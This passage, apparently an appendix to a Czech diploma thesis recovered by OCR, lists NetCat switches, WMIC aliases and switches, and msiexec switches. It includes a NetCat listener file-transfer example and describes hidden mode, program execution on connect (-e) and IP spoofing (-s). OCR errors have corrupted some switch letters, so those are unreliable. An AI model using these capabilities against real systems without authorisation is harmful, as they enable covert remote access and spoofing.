serveru spustime NetCat takto: ,,nc -d -l -p1234 >soubor.txt“, pak za¢ne NetCat naslouchat
na zadaném portu a oCekavat vstup souboru. Na klientském pocitaci pak zadame: ,,nc -v
192.168.1.1 1234*. Tuto techniku je vhodné pouzit tehdy, kdyz neni mozné pro pienos
souboru pouzit jiny nastroj (FTP, TFTP, aj.)



Seznam jednotlivych prepinaci:

-1 naslouchani. Uvede NetCat do rezimu, kdy bude ¢ekat na spojeni. Po ukonceni spojeni

se ukon¢i 1 NetCat.

-L naslouchéni. Podobné¢ jako -1, jen s tim rozdilem, Ze po ukoncéeni spojeni NetCat dale
vyckava na dalsi spojeni.
-p port. Otevira zadany port. Napiiklad spolecné s -1 uvadi Netcat do rezimu naslouchéani

na daném portu.

-d skryty rezim. Uvadi NetCat do skrytého rezimu. To je takového, kdy NetCat

nepotiebuje mit pti svém provozu zadné pracovni okno.
-V vypis. NetCat zobrazi vypis pii svém béhu.

-vv podrobny vypis. NetCat zobrazi podrobngj$i vypis své c¢innosti nez pii pouziti

piepinace -Vv.

-n zakéze NetCatu provést DNS pieklad pro zadanou adresu.

-z skenovani TCP portii. Touto volbou nastavime NetCat do rezimu skenovani porta.
-u UDP. Tento parametr nastavi NetCat na protokol UDP.

-w timeout. Nastaveni doby vyprSeni spojeni.

-1 interval udany v sekundéch, ktery bude pouZzit mezi jednotlivymi fadky piijimaného

nebo vysilaného textu.
-e spusti zadany program.

-s zdrojovy ndzev pocitae, nebo IP adresa. Specifikuje IP adresu, ze které je paket
odeslan. Na nékterych platformach lze tento pfepinac¢ pouzit k podvrzeni IP adres, k tzv.

spoofingu. [23]



WMlc

Seznam vSech aliasi wmic.

ALIAS Ptistup k aliasim, dostupném na lokalnim systému.
BASEBOARD Sprava komponent zakladni desky.

BIOS Sprava firmware (BIOS).

BOOTCONFIG Zavadéc systému BOOT.

CDROM CDROM/DVD mechanika.

ROM management. Sprava paméti typu ROM.
COMPUTERSYSTEM Sprava pocitace.

CPU Sprava procesoru (CPU).

CSPRODUCT Informace z SMBIOS.

DATAFILE PFistup k datovym souboriim.

DCOMAPP Ovladani DCOM aplikaci.

DESKTOP Sprava desktopu.

DESKTOPMONITOR Sprava monitoru.
DEVICEMEMORYADDRESS Sprava pamétového subsystému.
DISKDRIVE Sprava diskovych jednotek.

DISKQUOTA Nastaveni diskovych kvot na NTFS.
DMACHANNEL Sprava pfimého pristupu k paméti (DMA).
ENVIRONMENT Sprava prostredi systému.

FSDIR Sprava souborového systému.

GROUP Sprava skupinovych uctd.
IDECONTROLLER Sprava IDE radice

IRQ Sprava radice preruseni (IRQ).

JOB Poskytuje pfistup a nastaveni napldanovanych uloh systému.
LOADORDER Sprava systémovych sluzeb definujicich zavislosti.
LOGICALDISK Sprava lokalnich disk.

LOGON Sprdva relace ptihlaseni

MEMCACHE Sprava Cache paméti.

MEMORYCHIP Informace o pamétovych Cipech.
MEMPHYSICAL Sprava fyzické paméti.

NETCLIENT Sprava sitového klienta.

NETLOGIN Sprava sitovych pfihlasovacich informaci.
NETPROTOCOL Sprava sitovych protokol(.

NETUSE Sprava aktivniho sitového ptipojeni.

NIC Sprava sitového rozhrani.

NICCONFIG Sprava a nastaveni sitového adaptéru.
NTDOMAIN Sprava NT Domény.

NTEVENT Vstup do NT Event Logu.

NTEVENTLOG Sprava NT eventlog souboru.
ONBOARDDEVICE Sprava zafizeni na zakladni desce.

0sS Sprdva instalovaného operac¢niho systému.
PAGEFILE Sprava Virtudlniho pamétového systému.
PAGEFILESET Sprava strankovaciho souboru.
PARTITION Sprava rozdéleni disku.

PORT Sprava I/0 portQ.

PORTCONNECTOR Sprava fyzickych portd.




PRINTER Sprava tiskaren.

PRINTERCONFIG Sprdava a konfigurace tiskaren.

PRINTJOB Sprava tiskové fronty.

PROCESS Spréava procesu.

PRODUCT Sprava instalac¢niho balicku uloh.

QFE Quick Fix Engineering.

QUOTASETTING Nastaveni prahu pro oznam vyuziti diskové kvoty.
RDACCOUNT Nastaveni prav pro Remote Desktop connection.
RDNIC Nastaveni RDC na specifickém sitovém adaptéru.
RDPERMISSIONS Nastaveni prav RDC na specifickém sitovém adaptéru.
RDTOGGLE Nastaveni zapnuti a vypnuti vzdaleného pfistupu.
RECOVEROS Konfigurace pfi selhani a obnoveni systému.
REGISTRY Sprava systémovych registr(.

SCSICONTROLLER

Sprava SCSI radice.

SERVER

Sprdva Serveru.

SERVICE Sprava sluzeb systému.

SHADOWCOPY Sprava funkce Shadow copy.

SHADOWSTORAGE Sprava Shadow copy zafizeni.

SHARE Sprava sdilenych zdroja.

SOFTWAREELEMENT Sprava Casti instalovaného software.
SOFTWAREFEATURE Sprava softwarovych produktd.

SOUNDDEV Sprava zvukového zafizeni.

STARTUP Sprava prikaz(, které se automaticky spusti po startu systému.
SYSACCOUNT Sprava ucta.

SYSDRIVER Sprava zakladnich ovladacd.

SYSTEMENCLOSURE Sprava fyzického systému.

SYSTEMSLOT Sprava fyzického pripojeni, port(, slotd a periférii.
TAPEDRIVE Sprdava pdaskové jednotky.

TEMPERATURE Sprava Cidel teplot systému.

TIMEZONE Sprava casové zény.

UPS Sprava zdroje UPS.

USERACCOUNT Sprava uzivatelskych uctd.

VOLTAGE Spréva senzoru napéti.

VOLUME Sprava navésti disk.

VOLUMEQUOTASETTING

Pridéleni diskové kvéty a specifického disku.

VOLUMEUSERQUOTA

PFidéleni diskové kvoty uZivateli.

WMISET

Nastaveni servisnich WMI operaci.

Ptepinace néstroje WMIc

/NAMESPACE /NAMESPACE:\\root nebo /NAMESPACE:SMS

/ROLE /ROLE:\\root

/NODE /NODE:"TESTSERVER1","TESTSERVER2",@"C:\COMPUTERLIST.TXT"

JIMPLEVEL /IMPLEVEL:Impersonate




/AUTHLEVEL

/AUTHLEVEL:default

/LOCALE /LOCALE:MS_411
/PRIVILEGES /PRIVILEGES:ENABLE
/TRACE /TRACE:ON
/RECORD /RECORD:vystup.xml

/INTERACTIVE

/INTERACTIVE:ON

/FAILFAST /FAILFAST:ON

JUSER JUSER:JNOVAK nebo /USER:"" (vymazani uZivatelského jména a hesla).
/PASSWORD /PASSWORD:HESLO

/OUTPUT /OUTPUT:CLIPBOARD

/APPEND /APPEND:CLIPBOARD

/AGGREGATE /AGGREGATE:OFF

/AUTHORITY /AUTHORITY:"kerberos:Nazev_cilové_domény\Nazev_cilového_pocitace"

Pi‘epinace sluzby Microsoft Installer MSI.

Parametry:

Balic¢ek Urcuje nazev souboru balicku Instalacni sluzby systému Windows.

Kod_produktu Urcuje identifikator GUID (Globally Unique Identifier) balicku Instala¢ni

sluzby systému Windows.

/i Nainstaluje nebo nakonfiguruje produkt.

/a Pouzije moznost instalace pro spravu.

/If Povoli jeden nebo vice parametra piikazového fadku uvedenych v nasledujici tabulce

/x Odinstaluje produkt.

/j Inzeruje produkt, u — aktualnimu uzivateli, m — v§em uzivatelim.

/g1D_jazyka — urcuje jazyk

/tSeznam_transformaci — pouzije transformaci pro inzerovany balicek.



/p Nainstaluje aktualizaci

ly Vola systétmovou funkci DIIRegisterServer rozhrani API, ktera provede registraci

modulti ptedanych do piikazového fadku

Iz Vola systémovou funkci DIlUnRegisterServer rozhrani API, ktera zrusi registraci

modulti pfedanych do piikazového fadku.

Ptepinace ovliviiujici zobrazovaci rozhrani instalatoru:

/qn Nezobrazi zadné uzivatelské rozhrani.

/qb Zobrazi zakladni uzivatelské rozhrani.

/qr Zobrazi omezené uzivatelské rozhrani s modalnim dialogovym oknem
zobrazenym na konci instalace.

/qf Zobrazi Gplné uzivatelské rozhrani s modalnim dialogovym oknem zobrazenym
na konci.

/gn+ Nezobrazi zadné uzivatelské rozhrani kromé modalniho dialogového okna
zobrazeného na konci.

/gb+ Zobrazi zakladni uzivatelské rozhrani s modalnim dialogovym oknem
zobrazenym na konci.

/gb- Zobrazi zakladni uzivatelské rozhrani bez modalnich dialogovych oken.



PRILOHA PI11: OBSAH CD
Soucasti diplomové prace je i CD s instalaci a zdrojovymi kody projektu.

Text diplomové prace je ulozen v souboru fulltext.pdf



